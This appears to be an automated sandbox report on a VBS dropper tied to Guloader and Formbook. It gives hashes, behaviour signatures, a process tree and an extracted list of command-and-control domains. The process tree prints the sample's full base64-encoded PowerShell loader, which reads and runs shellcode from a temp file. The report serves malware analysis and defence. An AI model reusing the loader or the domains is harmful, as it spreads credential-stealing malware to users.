Analysis
-
max time kernel
148s -
max time network
151s -
platform
windows7_x64 -
resource
win7-en-20211208 -
submitted
09-02-2022 14:58
Static task
static1
Behavioral task
behavioral1
Sample
file673736 241-22 01.02.22.vbs
Resource
win7-en-20211208
Behavioral task
behavioral2
Sample
file673736 241-22 01.02.22.vbs
Resource
win10v2004-en-20220113
General
-
Target
file673736 241-22 01.02.22.vbs
-
Size
165KB
-
MD5
7faf86b2e1bb45a26367227c777dc668
-
SHA1
74e41c42eb5b04c532567d9244c969f4895ee3ca
-
SHA256
e76b1a4f9aa3787900758ce81367f40587ca3d6a3a7ab6d1d02537e12cb10c37
-
SHA512
c9427897cb391da11ee8325cd0ffd8efc7b94b2c46503a1cc4a71bd8497fcdfa42efccba7613b1119329d26b510486fe1c05290726ce06c53b60b1c76ded6427
Malware Config
Extracted
formbook
4.1
k6sm
mingshengjewelry.com
ontimecleaningenterprise.com
alyssa0.xyz
ptecex.xyz
dukfot.online
pvcpc.com
iowalawtechnology.com
nestletranspotation.com
mysithomes.com
greenlakespaseattle.com
evofishingsystems.com
unilytcs.com
ordemt.com
dentalbatonrouge.com
pictureme360.net
chalinaslacatalana.com
newmirrorimage.xyz
pinklaceandlemonade.com
rapinantes.com
yzicpa.com
josephosman.com
robsarra.com
shumgroup.net
flooringnewhampshire.com
onceadayman.com
audiomacklaunch.xyz
hurryburry.com
golfvid.info
tutortenbobemail.com
tatlitelasorganizasyon.com
tqgtdd.space
classicalruns.com
xx3tgnf.xyz
galwayartanddesign.com
qidu.press
crypto-obmennik.com
dn360rn001.com
tridim.tech
phamhome.com
mediadollskill.com
loveatmetaverse.com
electric4x4parts.com
azulymargarita.com
isadoramel.com
rubyclean.com
officiallydanellewright.com
wu8d349s67op.xyz
detetivepyther.com
wondubniumgy463.xyz
registry-finance3.com
ultracoding.com
open-4business.com
supremelt.online
pangfeng.xyz
morneview.com
northfloridapsychic.com
kg4bppuh.xyz
friv.asia
epsilonhomecare.com
hbina.com
beachhutprinting.com
sophoscloudoptix.net
managemarksol.site
palestyna24.info
usyeslogistics.com
Signatures
-
Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
-
Formbook Payload 3 IoCs
Processes:
resource yara_rule behavioral1/memory/1628-78-0x0000000000400000-0x000000000069B000-memory.dmp formbook behavioral1/memory/1628-79-0x0000000000400000-0x000000000042F000-memory.dmp formbook behavioral1/memory/1760-86-0x0000000000090000-0x00000000000BF000-memory.dmp formbook -
Adds policy Run key to start application 2 TTPs 1 IoCs
Processes:
rundll32.exedescription ioc process Key created \Registry\User\S-1-5-21-2329389628-4064185017-3901522362-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run rundll32.exe -
Checks QEMU agent file 2 TTPs 2 IoCs
Checks presence of QEMU agent, possibly to detect virtualization.
Processes:
powershell.exeieinstal.exedescription ioc process File opened (read-only) C:\Program Files\Qemu-ga\qemu-ga.exe powershell.exe File opened (read-only) C:\Program Files\Qemu-ga\qemu-ga.exe ieinstal.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Adds Run key to start application 2 TTPs 2 IoCs
Processes:
rundll32.exedescription ioc process Key created \Registry\User\S-1-5-21-2329389628-4064185017-3901522362-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run rundll32.exe Set value (str) \REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Windows\CurrentVersion\Run\KV1HB6PH5RP = "C:\\Program Files (x86)\\internet explorer\\ieinstal.exe" rundll32.exe -
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
Processes:
ieinstal.exepid process 1628 ieinstal.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
Processes:
powershell.exeieinstal.exepid process 848 powershell.exe 1628 ieinstal.exe -
Suspicious use of SetThreadContext 3 IoCs
Processes:
powershell.exeieinstal.exerundll32.exedescription pid process target process PID 848 set thread context of 1628 848 powershell.exe ieinstal.exe PID 1628 set thread context of 1396 1628 ieinstal.exe Explorer.EXE PID 1760 set thread context of 1396 1760 rundll32.exe Explorer.EXE -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Processes:
rundll32.exedescription ioc process Key created \Registry\User\S-1-5-21-2329389628-4064185017-3901522362-1000\SOFTWARE\Microsoft\Internet Explorer\IntelliForms\Storage2 rundll32.exe -
Suspicious behavior: EnumeratesProcesses 14 IoCs
Processes:
powershell.exeieinstal.exerundll32.exepid process 848 powershell.exe 1628 ieinstal.exe 1628 ieinstal.exe 1760 rundll32.exe 1760 rundll32.exe 1760 rundll32.exe 1760 rundll32.exe 1760 rundll32.exe 1760 rundll32.exe 1760 rundll32.exe 1760 rundll32.exe 1760 rundll32.exe 1760 rundll32.exe 1760 rundll32.exe -
Suspicious behavior: MapViewOfSection 8 IoCs
Processes:
powershell.exeieinstal.exerundll32.exepid process 848 powershell.exe 1628 ieinstal.exe 1628 ieinstal.exe 1628 ieinstal.exe 1760 rundll32.exe 1760 rundll32.exe 1760 rundll32.exe 1760 rundll32.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes:
powershell.exeieinstal.exerundll32.exedescription pid process Token: SeDebugPrivilege 848 powershell.exe Token: SeDebugPrivilege 1628 ieinstal.exe Token: SeDebugPrivilege 1760 rundll32.exe -
Suspicious use of FindShellTrayWindow 2 IoCs
Processes:
Explorer.EXEpid process 1396 Explorer.EXE 1396 Explorer.EXE -
Suspicious use of SendNotifyMessage 2 IoCs
Processes:
Explorer.EXEpid process 1396 Explorer.EXE 1396 Explorer.EXE -
Suspicious use of WriteProcessMemory 32 IoCs
Processes:
WScript.exepowershell.execsc.exeExplorer.EXErundll32.exedescription pid process target process PID 732 wrote to memory of 848 732 WScript.exe powershell.exe PID 732 wrote to memory of 848 732 WScript.exe powershell.exe PID 732 wrote to memory of 848 732 WScript.exe powershell.exe PID 732 wrote to memory of 848 732 WScript.exe powershell.exe PID 848 wrote to memory of 1684 848 powershell.exe csc.exe PID 848 wrote to memory of 1684 848 powershell.exe csc.exe PID 848 wrote to memory of 1684 848 powershell.exe csc.exe PID 848 wrote to memory of 1684 848 powershell.exe csc.exe PID 1684 wrote to memory of 416 1684 csc.exe cvtres.exe PID 1684 wrote to memory of 416 1684 csc.exe cvtres.exe PID 1684 wrote to memory of 416 1684 csc.exe cvtres.exe PID 1684 wrote to memory of 416 1684 csc.exe cvtres.exe PID 848 wrote to memory of 1628 848 powershell.exe ieinstal.exe PID 848 wrote to memory of 1628 848 powershell.exe ieinstal.exe PID 848 wrote to memory of 1628 848 powershell.exe ieinstal.exe PID 848 wrote to memory of 1628 848 powershell.exe ieinstal.exe PID 848 wrote to memory of 1628 848 powershell.exe ieinstal.exe PID 848 wrote to memory of 1628 848 powershell.exe ieinstal.exe PID 848 wrote to memory of 1628 848 powershell.exe ieinstal.exe PID 848 wrote to memory of 1628 848 powershell.exe ieinstal.exe PID 1396 wrote to memory of 1760 1396 Explorer.EXE rundll32.exe PID 1396 wrote to memory of 1760 1396 Explorer.EXE rundll32.exe PID 1396 wrote to memory of 1760 1396 Explorer.EXE rundll32.exe PID 1396 wrote to memory of 1760 1396 Explorer.EXE rundll32.exe PID 1396 wrote to memory of 1760 1396 Explorer.EXE rundll32.exe PID 1396 wrote to memory of 1760 1396 Explorer.EXE rundll32.exe PID 1396 wrote to memory of 1760 1396 Explorer.EXE rundll32.exe PID 1760 wrote to memory of 956 1760 rundll32.exe Firefox.exe PID 1760 wrote to memory of 956 1760 rundll32.exe Firefox.exe PID 1760 wrote to memory of 956 1760 rundll32.exe Firefox.exe PID 1760 wrote to memory of 956 1760 rundll32.exe Firefox.exe PID 1760 wrote to memory of 956 1760 rundll32.exe Firefox.exe
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\file673736 241-22 01.02.22.vbs"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBIAGoAbABwADIAIABvAHIAZABpAG4AcgBzAGsAbgAgAEsATwBOAFYAIABEAEkAUwBDAEkAIABwAHIAZQBkAGUAdABlAHMAIABUAGUAZwBuAG0AcwAgAGQAZQBpAG4AYwByACAAQgBSAE8AQQBEAEUATgBJAE4ARwAgAEMAQQBQAEUAUgBOAE8AIABGAHIAYQBnAG0AZQA3ACAAUwBrAG0AbQAgAEYAbwByAGIAZQBoAG8AIABIAEEATABTAEgAVgAgAEoAaQBiAGUAZABzAHcAIABiAGUAZgBhAG0AbABpACAAVQBOAEMASABSAEkAUwAgAFIAbwBzAGsAaQBsAGQAZQBuAHMAOQAgAGEAdgBsAHMAIAB1AGQAcgBlAGQAIABSAEUAUABSAEUASABFACAAWQBtAHAAbgBpAG4AIABkAHUAcwB0AHMAaABlAGUAIABQAGEAcgBvACAARQBsAGUAYQAgAFUAbgBkAGUAcgA5ACAATQBvAHQAaQB2AGUAdAAzACAAdABhAGsAdABlAHIAaQBuACAADQAKAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzADsADQAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABjAGwAYQBzAHMAIABTAFUAUABFAFIAUABSAEUARABJADEADQAKAHsADQAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAG4AdABkAGwAbAAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAGkAbgB0ACAATgB0AEEAbABsAG8AYwBhAHQAZQBWAGkAcgB0AHUAYQBsAE0AZQBtAG8AcgB5ACgAaQBuAHQAIABTAFUAUABFAFIAUABSAEUARABJADYALAByAGUAZgAgAEkAbgB0ADMAMgAgAGQAaQBzAGIAcgBhACwAaQBuAHQAIABPAGwAZAB0AGkALAByAGUAZgAgAEkAbgB0ADMAMgAgAFMAVQBQAEUAUgBQAFIARQBEAEkALABpAG4AdAAgAFAAcgBlAGMAdQByAHIAaQBjAHUALABpAG4AdAAgAFMAVQBQAEUAUgBQAFIARQBEAEkANwApADsADQAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwByAGUAYQB0AGUARgBpAGwAZQBBACgAcwB0AHIAaQBuAGcAIABWAGkAbABkAGgAZQBkAG8AbgB5ACwAdQBpAG4AdAAgAFMAUABFAFIATQBJAEUAVABGAEUALABpAG4AdAAgAFAAQQBSAEEAVAAsAGkAbgB0ACAAUwBVAFAARQBSAFAAUgBFAEQASQAwACwAaQBuAHQAIABFAHYAbwBrAGUAcgBzAGsALABpAG4AdAAgAEEARQBDAEkATwAsAGkAbgB0ACAAUwBzAHQAdABlAG4AZAAzACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABSAGUAYQBkAEYAaQBsAGUAKABpAG4AdAAgAE8AbABkAHQAaQAwACwAdQBpAG4AdAAgAE8AbABkAHQAaQAxACwASQBuAHQAUAB0AHIAIABPAGwAZAB0AGkAMgAsAHIAZQBmACAASQBuAHQAMwAyACAATwBsAGQAdABpADMALABpAG4AdAAgAE8AbABkAHQAaQA0ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAdQBzAGUAcgAzADIALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEMAYQBsAGwAVwBpAG4AZABvAHcAUAByAG8AYwBBACgASQBuAHQAUAB0AHIAIABPAGwAZAB0AGkANQAsAGkAbgB0ACAATwBsAGQAdABpADYALABpAG4AdAAgAE8AbABkAHQAaQA3ACwAaQBuAHQAIABPAGwAZAB0AGkAOAAsAGkAbgB0ACAATwBsAGQAdABpADkAKQA7AA0ACgB9AA0ACgAiAEAADQAKACMAbwBsAGkAdgBhAGMAZQAgAFMAawBvAHIAcABlAHMAIABEAHcAYQByAGYAIABGAGwAeQB2ADYAIABQAGwAZQB0AGYAcgBpAGUAMwAgAGEAawB2AGEAdABpAG4AIABiAG8AYQByACAAQgBvAG0AYgBlAHIAZQAgAEEAYgB1AG0AYgAyACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBtAGQAaQBnAG8AbwBnAGUAbgB5ACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAFIAZQBrAHUAcgBzAGkAbwBuAHMAIgAgAA0ACgAkAFMAVQBQAEUAUgBQAFIARQBEAEkAMwA9ADAAOwANAAoAJABTAFUAUABFAFIAUABSAEUARABJADkAPQAxADAANAA4ADUANwA2ADsADQAKACQAUwBVAFAARQBSAFAAUgBFAEQASQA4AD0AWwBTAFUAUABFAFIAUABSAEUARABJADEAXQA6ADoATgB0AEEAbABsAG8AYwBhAHQAZQBWAGkAcgB0AHUAYQBsAE0AZQBtAG8AcgB5ACgALQAxACwAWwByAGUAZgBdACQAUwBVAFAARQBSAFAAUgBFAEQASQAzACwAMAAsAFsAcgBlAGYAXQAkAFMAVQBQAEUAUgBQAFIARQBEAEkAOQAsADEAMgAyADgAOAAsADYANAApAA0ACgAjAEcAdQBtAG0AMwAgAEEAbgB0AGkANgAgAGgAdgBlAHAAcwBlAG4AZQBzAGkAIAByAGUAYwBlAHAAdAAgAFAAcgBvAHQAZQBzAHQAMwAgAGEAcABwAG8AaQBuAHQAcwBsACAARABFAEwAUABMACAASABBAFYAQQBBAEwAUAAgAHIAdQBiAGkAYwAgAHIAaQBuAGcAZQBsACAATwB2AGUAcgBsAG8AZwBpAGMAYQA0ACAAZgBhAHIAbABpACAATgBhAHIAcgBlAHIAaQA3ACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBDAGgAZQB0AGkAdgBlAHUAbgA3ACIAIAANAAoAJABTAFUAUABFAFIAUABSAEUARABJADIAPQAiACQAZQBuAHYAOgB0AGUAbQBwACIAIAArACAAIgBcAEEAawB0AGkAdgBzAGcAZQBtAC4AZABhAHQAIgANAAoAIwBUAGkAcwBzAGUAdAAgAEkAYgBsAGEAbgAgAFMAYQBsAHYAIABFAG4AYwBlACAAUwBwAGUAagBsAGsAYQBiAGkAIABTAGoAdQBzAHMANgAgAE8ATQBTAFQATgBJAE4ARwBTAEEAIABuAG8AbgBhAHMAYwBlAHQAaQBjACAATgBPAE4AUAAgAFMAdABpAG4AMwAgAA0ACgAkAFMAVQBQAEUAUgBQAFIARQBEAEkANAA9AFsAUwBVAFAARQBSAFAAUgBFAEQASQAxAF0AOgA6AEMAcgBlAGEAdABlAEYAaQBsAGUAQQAoACQAUwBVAFAARQBSAFAAUgBFAEQASQAyACwAMgAxADQANwA0ADgAMwA2ADQAOAAsADEALAAwACwAMwAsADEAMgA4ACwAMAApAA0ACgAjAE0AaQBzAG0AbwB2ACAARgBvAHIAcwByADUAIABMAGUAZwBpAHQAaQAgAEsAQQBUAEgATABJAE4AUwAgAFAAUgBPAEIATwBTAEMARQBTACAAUAByAG0AaQBlAG8AYgBsAGkAIABoAHIAZQBuAGQAZQBiACAAZgBhAGcAZwByAHUAcABwAGUAIABGAGkAeABpAHQAaABlAG4AZAAgAGEAbAB5AGMAbwAgAE4AbwBuAGQAIABTAGEAZABsAGUAcgBmAGEAdQBuACAAVABhAGsAdAByAGUAZwB1AGwAIABFAEQARwBFAE0AQQBOAEwAIABuAG8AbgBwACAAbQBlAHQAZQBvAHIAbwBsACAAUgBhAGIAYgBpAHQANwAgAFMATwBUAFQASQAgAEEAcgBnAHUAcwBqAGUAdABoADUAIABHAGEAcgBkAGUAcgA3ACAAUABsAGEAYwBpAGQAZwB1ADgAIABDAGgAYQBnAHIAaQBuAG4AZQA1ACAAVQBOAFcATwAgAHIAbgB0AGcAZQBuAGIAbABpAGsAIABmAGwAbwByAGkAcwAgAEIAaQBmAGkAZwA0ACAASABZAEcAUgBPACAATgBvAGcAZwBpAG4AZwBzADMAIABIAEkATABTAEUATgAgAFcAQQBTAEgAVABVACAAUAByAG8AdABvAGMAaQB0AGkAegAgAE8AdgBlAHIAcQAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIATgBJAFQAUgAiACAADQAKACQAUwBVAFAARQBSAFAAUgBFAEQASQA1AD0AMAA7AA0ACgAjAGQAZQBjAGEAeQBlAGQAIABDAGEAcgB0AG0AYQBuAHUAbgBkADQAIABLAFUAUwBPAE4AIABzAHUAYwBjAGUAcwAgAGYAbwByAHYAYQBuACAAVgBpAHIAdAB1AG8AMgAgAFIAZQBkAGkAZwBlAHIAaQBuAGcAIABEAEUATABJAEsAQQBUAEUAIABVAG4AYwBvAGcAbgBpAHoAYQBuACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBLAEEAUgBUAE8AVABFAEsAUwAiACAADQAKAFsAUwBVAFAARQBSAFAAUgBFAEQASQAxAF0AOgA6AFIAZQBhAGQARgBpAGwAZQAoACQAUwBVAFAARQBSAFAAUgBFAEQASQA0ACwAJABTAFUAUABFAFIAUABSAEUARABJADMALAA2ADYANQA3ADIALABbAHIAZQBmAF0AJABTAFUAUABFAFIAUABSAEUARABJADUALAAwACkADQAKACMATQBnAGwAZQByADUAIABTAFQASQBMAEEAIABzAGsAbgBkAGkAZwBoACAARgBsAHMAdQBiAGUAcQB1AGEAdAA0ACAAZQBzAHAAcgBlAHMAcwBpAHYAIABQAHIAbwBnAHIAYQBtAG0AZQAgAE4AbwBuAGYAOAAgAFAAUgBJAE4AQwBJAFAAIABCAGUAcgBuAHMAZwAgAGsAcgBhAHMAcwBlAHMAbwBjAGMAIABiAGEAZABnAGUAcgBpACAAUgBlAGoAcwBlAG4AZABlAHkAIAByAGUAcwB0AGEAZwBlAHIAIABzAGEAbQBzAGUAbgBkAGkAbgBnACAAQgByAHUAZwA1ACAAUABhAHAAaQByACAAUwBPAEMASQAgAEEAZABnAGEAbgBnAHMAZgBvAHIAIABLAHIAYQB0AG8AZwBlAG4AaQAxACAAawBpAG4AawAgAEsAVgBJAEsAUwAgAEsAUgBWAEUAUwBLAEUATABUAEkAIABTAGsAcgB2AGUAYgBhAG4AZQByACAARQBuAHQAcgBlAHAAcgAgAFAAbABhAG4AZQB0ADMAIABTAEwAQQBUACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBLAE8ATgBGAEkAUwBLACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAEQARABDAEEARABFAE4ATwBDAEEAIgAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIAQQBuAHIAZQB0AHQAIgAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIARQBNAEEATABKAEUAUgBJACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAEYAZQB0AGkAcwA1ACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAEwAdQBkAGUAcgBrAGEAcgBsACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAEEAcwBjAGUAbAAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBOAGUAYwBlAHMAcwBpADUAIgAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIAYgB1AHIAZwBhAG0AbwB0AGEAbQAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBnAHIAbwB1AHMAZQAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBOAGEAdAB1AHIAawByAGEAZgAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBDAEEAUgBGAEEAUgAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBQAEkARQBTAEgATwAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBSAEEATQBTAEwARwBEAFIAIgAgAA0ACgBbAFMAVQBQAEUAUgBQAFIARQBEAEkAMQBdADoAOgBDAGEAbABsAFcAaQBuAGQAbwB3AFAAcgBvAGMAQQAoACQAUwBVAFAARQBSAFAAUgBFAEQASQAzACwAIAAwACwAMAAsADAALAAwACkADQAKAA0ACgA="2⤵
- Checks QEMU agent file
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe"C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\qhg7ad1k.cmdline"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exeC:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES5EF3.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC5EF2.tmp"4⤵
-
C:\Program Files (x86)\internet explorer\ieinstal.exe"C:\Program Files (x86)\internet explorer\ieinstal.exe"3⤵
- Checks QEMU agent file
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\SysWOW64\rundll32.exe"2⤵
- Adds policy Run key to start application
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Modifies Internet Explorer settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Mozilla Firefox\Firefox.exe"C:\Program Files\Mozilla Firefox\Firefox.exe"3⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\Aktivsgem.datMD5
b8fb4faef24302dcfac6cc1a885b1ec2
SHA19c14c95107f054c0bfc77243cb99aa57fe3f9bd1
SHA2569ba5694976d1254b451bc1be9495049fba0421e65d1ccf23fb2c39a2d4f531f0
SHA512e0506ecdb5fcfcb32e0f32167c30a7daa03e572eb514db96661709751c161f85f265a6f98ce2c2e03aa2cf1a80dbcba489614e7923aa2f7e7fc629b068ef41d7
-
C:\Users\Admin\AppData\Local\Temp\RES5EF3.tmpMD5
6d9df0ca535ed1e7d051cb78883dfe8e
SHA1b702183863b24794529b1c144e1f8ebf41a48d36
SHA2568d90273ec479956a8cc32748cadd840756a13267eb5acd40de73bef59b4aff2c
SHA51205d20b0b7314fa16cd005c5bf4c5169ec328b31392ed4da5c0e4280f0fe31ed29362ba487b92b89c6c1c828a8f98dd737d469f311ad5fd8bc146eb6ac3e522d6
-
C:\Users\Admin\AppData\Local\Temp\qhg7ad1k.dllMD5
97f503a3708844d0598897e9321d4416
SHA111e028a972c16ea80641a84da1f39f7adc703a0e
SHA256c45c96ab366857efe25016b7d72d7d9e54a1f867972e56e915822d1fef11344f
SHA51261088ea755ca11bd3bf5c73b7476eeb77cd2d077ab795b4a2242f49d00b8298d46da1bee9f09d6f8fbd67bdb2ec88ce5f1025ff263226e2e9f46ca9088bfe663
-
C:\Users\Admin\AppData\Local\Temp\qhg7ad1k.pdbMD5
b04f0707c01b498e59d808d249085d42
SHA1e09d446a53e5701715ef6dd8ce111207ac39a9fc
SHA256155e6a7de254b57e76bcff5e25ba3f4445439e75b823f397bd363fb9e6635bc6
SHA512a752710bcbe9471d7ebae0dab085362a3fbbe92064ad2d1d865b415485ff098eb77b816706ac007f145b0c456bd79d9125c3e7b9b0b2aaf347582cc8b7fa39f3
-
C:\Users\Admin\AppData\Roaming\7-O4R1-6\7-Ologim.jpegMD5
5f78c127b617eeec9d951a17f3225a43
SHA1b13133d5b37c4f283a81bbbbdbb639ee84880962
SHA2569d84ed1f075044fbe622959cced6e4bb76487a7a948fb9d4428c5ced4bcf8633
SHA5127d3132d41de80c4de56cdf18b839d8fc18a3755b3f7da01103c3723cf174e69c083efaa902fbf8e354cf2c2be14637b44265e75751159f1d5730188be527b90f
-
C:\Users\Admin\AppData\Roaming\7-O4R1-6\7-Ologrf.iniMD5
2f245469795b865bdd1b956c23d7893d
SHA16ad80b974d3808f5a20ea1e766c7d2f88b9e5895
SHA2561662d01a2d47b875a34fc7a8cd92e78cb2ba7f34023c7fd2639cbb10b8d94361
SHA512909f189846a5d2db208a5eb2e7cb3042c0f164caf437e2b1b6de608c0a70e4f3510b81b85753dbeec1e211e6a83e6ea8c96aff896e9b6e8ed42014473a54dc4f
-
C:\Users\Admin\AppData\Roaming\7-O4R1-6\7-Ologri.iniMD5
d63a82e5d81e02e399090af26db0b9cb
SHA191d0014c8f54743bba141fd60c9d963f869d76c9
SHA256eaece2eba6310253249603033c744dd5914089b0bb26bde6685ec9813611baae
SHA51238afb05016d8f3c69d246321573997aaac8a51c34e61749a02bf5e8b2b56b94d9544d65801511044e1495906a86dc2100f2e20ff4fcbed09e01904cc780fdbad
-
C:\Users\Admin\AppData\Roaming\7-O4R1-6\7-Ologrv.iniMD5
ba3b6bc807d4f76794c4b81b09bb9ba5
SHA124cb89501f0212ff3095ecc0aba97dd563718fb1
SHA2566eebf968962745b2e9de2ca969af7c424916d4e3fe3cc0bb9b3d414abfce9507
SHA512ecd07e601fc9e3cfc39addd7bd6f3d7f7ff3253afb40bf536e9eaac5a4c243e5ec40fbfd7b216cb0ea29f2517419601e335e33ba19dea4a46f65e38694d465bf
-
\??\c:\Users\Admin\AppData\Local\Temp\CSC5EF2.tmpMD5
5412b3dfd65e81335bdeea26a14fd366
SHA15054a41bac8404b53069249c8cd24c58e0caa7b3
SHA2569b9b476c0de1838423578fcc45662a3efe41cb64151b7c4f57e55011f59e88d2
SHA5121417f5bcf2aa3f31e5a2218499f6bfe5a7b23a23914caf490d9d7fecc33e8b0eab434ff2d6173fe92f9e8257c070ab02d55d18d20a67f2af7ce02988514ff206
-
\??\c:\Users\Admin\AppData\Local\Temp\qhg7ad1k.0.csMD5
697049d413cadd67ef091f8c308f0482
SHA10510cd1e3afcb6f0bd7b8ed42fc69aca5a81f2eb
SHA256461e5bf63d4baf8fde83b3e06708456c781bdae2c8b264f0c5309e719f24d4b2
SHA512d1da3776083b4f116e11a82534bf5e31949b81d3c448d2d188d80fa357c24ca157c92ef1d9a2a714a1c131100b6c85ad3b492c50af696af10e01cc7ee4e41fde
-
\??\c:\Users\Admin\AppData\Local\Temp\qhg7ad1k.cmdlineMD5
383e90489685c48bd62d29440177d62d
SHA1f5f1b30f8d89484816cc99cd483f827d43780edc
SHA25689ec9a391c8336f283a14b40b2f624e47d7a3e075a92d870fe77afe4b9b89366
SHA51209ff2e5246cea152df9830380bd542ffb2e35b073858be85a8d818d5e44c7957f0074f42522ec17b0f3e2b6614e605a05c5ef679b0f4c6d71139e258189415ba
-
memory/848-69-0x0000000005AC0000-0x0000000005BC0000-memory.dmpFilesize
1024KB
-
memory/848-59-0x0000000002391000-0x0000000002392000-memory.dmpFilesize
4KB
-
memory/848-60-0x0000000002392000-0x0000000002394000-memory.dmpFilesize
8KB
-
memory/848-56-0x0000000074431000-0x0000000074432000-memory.dmpFilesize
4KB
-
memory/848-57-0x0000000002390000-0x0000000002391000-memory.dmpFilesize
4KB
-
memory/848-73-0x00000000779C1000-0x0000000077AC2000-memory.dmpFilesize
1.0MB
-
memory/848-74-0x0000000077BB0000-0x0000000077C86000-memory.dmpFilesize
856KB
-
memory/848-58-0x0000000074432000-0x0000000074434000-memory.dmpFilesize
8KB
-
memory/848-55-0x00000000763B1000-0x00000000763B3000-memory.dmpFilesize
8KB
-
memory/1396-83-0x0000000006A20000-0x0000000006B6A000-memory.dmpFilesize
1.3MB
-
memory/1396-89-0x0000000007C20000-0x0000000007D2C000-memory.dmpFilesize
1.0MB
-
memory/1628-81-0x000000000041F000-0x0000000000420000-memory.dmpFilesize
4KB
-
memory/1628-80-0x000000001C810000-0x000000001CB13000-memory.dmpFilesize
3.0MB
-
memory/1628-82-0x0000000000880000-0x0000000000895000-memory.dmpFilesize
84KB
-
memory/1628-79-0x0000000000400000-0x000000000042F000-memory.dmpFilesize
188KB
-
memory/1628-78-0x0000000000400000-0x000000000069B000-memory.dmpFilesize
2.6MB
-
memory/1628-72-0x00000000000D0000-0x00000000001D0000-memory.dmpFilesize
1024KB
-
memory/1684-63-0x0000000000670000-0x0000000000671000-memory.dmpFilesize
4KB
-
memory/1760-88-0x0000000000980000-0x0000000000A14000-memory.dmpFilesize
592KB
-
